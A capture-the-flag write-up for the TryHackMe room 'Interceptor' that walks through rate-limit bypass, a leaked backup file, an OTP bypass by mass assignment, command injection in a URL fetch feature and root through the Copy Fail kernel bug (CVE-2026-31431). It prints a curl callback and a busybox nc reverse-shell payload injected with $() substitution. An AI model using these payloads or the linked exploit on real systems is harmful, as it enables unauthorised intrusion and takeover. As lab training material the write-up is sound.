> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/interceptor.md).

# Interceptor

{% embed url="<https://tryhackme.com/room/interceptor>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

<details>

<summary>Summary</summary>

In Interceptor, we begin by enumerating the target to discover SSH, DNS, and HTTP services. Early reconnaissance reveals a rate-limited login page that can be bypassed via header manipulation, and a directory scan uncovers both an OTP verification page and a dashboard requiring authentication. Discovery of a backup file `login.php.bak` exposes the admin email used and a password hint, granting us the information needed to authenticate.

With valid credentials in hand, we bypass the OTP mechanism entirely by exploiting a mass assignment vulnerability, injecting a trusted session state directly rather than supplying a valid code, and gaining access to the dashboard.

From the dashboard, a fetch functionality exposing unsanitised cURL-like behaviour is abused via command substitution to achieve remote code execution as `www-data`, with a busybox reverse shell delivering an interactive foothold and the user flag at `/var/www/user.txt`.

Finally, privilege escalation to `root` is achieved by weaponising the freshly disclosed `CVE-2026-31431` (Copy Fail), a nearly decade-old logic bug in the Linux kernel's AF\_ALG crypto subsystem. By splicing page cache entries of the setuid binary `/usr/bin/su` into a flawed authencesn AEAD operation, four controlled bytes are written directly into the kernel's in-memory page cache, corrupting the binary's runtime image without touching the on-disk file. Executing the public exploit script delivers a root shell, culminating in full compromise of the machine.

</details>

## Recon

We use `rustscan -b 500 -a interceptor.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a interceptor.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/tvShoV9yDrWaBq0FxOIi" alt=""><figcaption></figcaption></figure>

We discover three open ports. Among those are `22` (SSH), `53` (DNS), and `80` (HTTP). SSH is running OpenSSH 8.2p1, DNS uses ISC BIND 9.16.1, and the web server is hosted via Apache 2.4.41.

<figure><img src="/files/H35NBSVFte297ldklB3X" alt=""><figcaption></figcaption></figure>

First, we visit the site using our browser on the top right corner we see a link to a login page.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/index.php
```

{% endcode %}

<figure><img src="/files/vda2lCFe0Cs47pt8Umik" alt=""><figcaption></figcaption></figure>

We head to the login page and try some standard credetnials and payloads. After come time we hit a limit and get a message `too many login attempts`. We can either bypass it by using a `X-Forwarded-For: 127.0.0.1` header or setting the `PHPSESSID` to another value.&#x20;

Unfortunately we cannot enumerate valid usernames by the response, since we receive general response messages.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/login.php
```

{% endcode %}

<figure><img src="/files/I1gwvyyqz0b6hbyFTNnw" alt=""><figcaption></figcaption></figure>

Unfortunately, we can't draw any conclusions from the requests we intercept during login.

We'll proceed with a directory scan using FeroxBuster. In addition to the login page, we also see an OTP page, which presumably appears after providing the correct credntials. We also find a dashboard page, though we cannot access it without authentication.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://interceptor.thm' -x php
```

{% endcode %}

<figure><img src="/files/VhTcEVibUkDeWaVrBiIi" alt=""><figcaption></figcaption></figure>

We've almost exhausted all our options; the only thing left to try is checking for backup files. We might find some sensitive information in them. Scanning the API endpoints didn't turn up anything.

We scan for files with the extensions .bak and \~. For now, we're limiting ourselves to PHP files, and we find what we're looking for.

The page `login.php.bak` stands out.

```
Other file extensions that could have been included:
```

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://interceptor.thm' -x php,php.bak,php~ 
```

{% endcode %}

<figure><img src="/files/DKZzwPiOgVnfpQDprxo3" alt=""><figcaption></figcaption></figure>

Other file extensions that could have been included:

{% code overflow="wrap" expandable="true" %}

```
.bak, .backup, .bk, .bkp
.old, .orig, .original, .previous
.save, .saved, .swp, .swo, .swn
```

{% endcode %}

We download the page by requestingit and take a look at it. Inside, we find the admin test accounts mail and a hint for the password. The password consists of two parts, the second of which is very easy to guess. We'll skip the scripting here.

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/login.php.bak
```

{% endcode %}

<figure><img src="/files/b43xqHheoXcWBF3Rbfqu" alt=""><figcaption></figcaption></figure>

## Access as admin

We head back to the login page and enter the credentials.

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/login.php
```

{% endcode %}

<figure><img src="/files/RzM3yUTNVMBcLBgJJnsO" alt=""><figcaption></figcaption></figure>

Next, we are requested for an OTP. We could either brute force it, since it is not rate limited. But it takes some time with 50 threads...

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/otp.php
```

{% endcode %}

<figure><img src="/files/SeuQNpzKKN1r9e7Yi84X" alt=""><figcaption></figcaption></figure>

There is also a more elegant solution. We intercept the request using Burp Suite... and make an example request with an arbitrary OTP. Here the app is very responsive and also tells us that we are not verified.

<figure><img src="/files/w81VjXVrWEDOw6UcfaRE" alt=""><figcaption></figcaption></figure>

We try to set the value of is\_verified to true instead of providing the OTP and are successful. This behaivior / vulnerability is called mass assignment. Here the web application automatically bind user-supplied data directly to internal object properties.

<figure><img src="/files/0cOu6IaPZsGOsprD0m3S" alt=""><figcaption></figcaption></figure>

Next, we reload the page or set the PHPSESSID to the one used in the otp request. We are logged in and are redirected to the dashboard. Here we find the first flag.

Here, we can upload our profile picture and import an RSS feed.

{% code overflow="wrap" expandable="true" %}

```
http://interceptor.thm/dashboard.php
```

{% endcode %}

<figure><img src="/files/lhlIt5ehT9jdRlqJQ9tf" alt=""><figcaption></figcaption></figure>

## Shell as www-data

The profile picture upload feature appears to be sufficiently secure. We are unable to upload a PHP web shell, despite attempts to modify the file using magic bytes, embed a web shell in the image, or alter MIME types and file extensions.

But the fetch functionality seems interesting. It looks like the output of a cURL command. Maybe we can inject commands.

There is a filter for selected IP addresses...

<figure><img src="/files/PkB6lpz99zbtVkkhYmqn" alt=""><figcaption></figcaption></figure>

... but no sanitization checks. We'll try using command substitution so that our command is executed first within `$()`. We'll verify that it executed successfully by sending a cURL request to our web server.

{% embed url="<https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html>" %}

{% code overflow="wrap" expandable="true" %}

```
http://127.1$(curl http://192.168.135.32)
```

{% endcode %}

<figure><img src="/files/nL6XHY9sbyyoaB3Mj9iA" alt=""><figcaption></figcaption></figure>

And we get a hit.

<figure><img src="/files/HDd78bmcKOr3sCobR7RV" alt=""><figcaption></figcaption></figure>

Next, we set up a listener to catch our reverse shell using Penelope:&#x20;

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

Now we use the following reverse shell payload emebbeded into the substitution to catch spawn reverse shell.

{% code overflow="wrap" expandable="true" %}

```
http://127.1$(busybox nc 192.168.135.32 4445 -e bash)
```

{% endcode %}

<figure><img src="/files/cO3doR4ZxAsNXmfpDiAM" alt=""><figcaption></figcaption></figure>

We receive a connection and are `www-data`. We find the final flag at `/var/www/user.txt`.

<figure><img src="/files/WjMHVkYSoLh1pcqh5qIp" alt=""><figcaption></figcaption></figure>

## Root&#x20;

{% hint style="danger" %}
This is an unintended path and hopefully gets patched soon. You might not encounter this on your target machine.
{% endhint %}

This is a recente machine release of May 1st. So let's see if the copy-fail exploit that got disclosed 29th of april also applies here.

The Copy Fail `CVE-2026-31431` is a Linux kernel local privilege escalation vulnerability in the AF\_ALG crypto API (algif\_aead module) that lets an unprivileged user write 4 controlled bytes into the page cache of any readable file. This can be leveraged to 732-byte Python script to tamper with a setuid binary and gain root on essentially every Linux distro shipped since 2017. The mainline kernel fix was committed on 1 April 2026, and it was publicly disclosed by Theori around April 29–30, 2026.

First lets check if the detection script available might detect the vulnerability on the target machine. By the output we can tell that the machine might be vulnerable to `VE-2026-31431`.

{% embed url="<https://github.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script>" %}

{% code overflow="wrap" expandable="true" %}

```
python3 test.py
```

{% endcode %}

<figure><img src="/files/bDjJH9HmhLyGOqugn2Zt" alt=""><figcaption></figcaption></figure>

Now, we try to exploit it. This took some time to find a working exploit, but this seems to be sufficient.&#x20;

{% embed url="<https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit/blob/master/exploit.py>" %}

The README gives also some information about the timeline and functionality:

> ### What's this about?
>
> On April 29th 2026, a vulnerability called **Copy Fail** (CVE-2026-31431) was publicly disclosed by the Xint Code Research Team. It's a logic bug that's been quietly sitting in the Linux kernel since roughly **2017** — nearly a decade — and it lets any unprivileged local user get root.
>
> Not "get root under specific conditions with some luck and a good tailwind." Just... get root. Reliably. On essentially every major Linux distribution.
>
> It affects Ubuntu, Amazon Linux, RHEL, SUSE, and anything else running a mainstream kernel from the last \~8 years. Same script, no recompilation, no per-distro tweaks required.
>
> Yes, it's as bad as it sounds.
>
> ### The short version of how it works
>
> The Linux kernel has a crypto subsystem that's accessible to unprivileged users via `AF_ALG` sockets. There's a mechanism called `splice()` that can feed file data directly into that subsystem without copying it — which means the kernel's in-memory cached copy of a file (the "page cache") ends up inside a cryptographic operation.
>
> One specific algorithm — `authencesn`, used for IPsec Extended Sequence Numbers — has a quirk where it uses the output buffer as scratch space and writes 4 bytes slightly past where it's supposed to. Normally harmless. But when page cache pages from a setuid binary like `/usr/bin/su` end up chained into that output buffer (thanks to a 2017 "optimisation" in `algif_aead.c`), those 4 bytes land directly in the kernel's cached copy of the binary.
>
> The operation fails with an error. The kernel never marks that page as dirty. The on-disk file is untouched. File integrity tools checking on-disk checksums see nothing wrong.
>
> But the page cache is what gets executed. And `su` is setuid root.
>
> The full technical writeup is over at [xint.io](https://xint.io/blog/copy-fail-linux-distributions) and is genuinely worth reading if you're into this sort of thing.
>
> source: <https://github.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script>

We execute the exploit and become `root`.

{% code overflow="wrap" expandable="true" %}

```
python3 exploit.py escalate
```

{% endcode %}

<figure><img src="/files/ZBItLTSzkgGA3HC1bkWq" alt=""><figcaption></figcaption></figure>
